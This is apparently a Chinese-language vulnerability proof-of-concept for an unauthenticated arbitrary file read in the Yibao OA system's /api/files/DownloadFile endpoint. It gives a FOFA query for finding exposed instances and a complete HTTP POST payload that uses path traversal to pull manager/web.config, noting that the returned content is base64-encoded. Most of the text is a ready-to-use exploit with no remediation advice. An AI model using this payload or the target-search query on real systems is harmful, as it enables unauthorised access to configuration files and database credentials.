Y6-1易宝-OA-任意文件读取

漏洞描述：

易宝OA系统DownloadFile接口处存在任意文件读取漏洞，未授权的攻击者可以利用此漏洞读取系统内部敏感配置文件，数据库密钥凭证等，使系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

FOFA：app="顶讯科技-易宝OA系统"

漏洞复现：

payload：

```
POST /api/files/DownloadFile HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

token=zxh&requestFileName=../../manager/web.config&pathType=1&startPosition=0&bufferSize=1000
```

效果图:
PS:回显文件内容需base64解码查看
读取web.config文件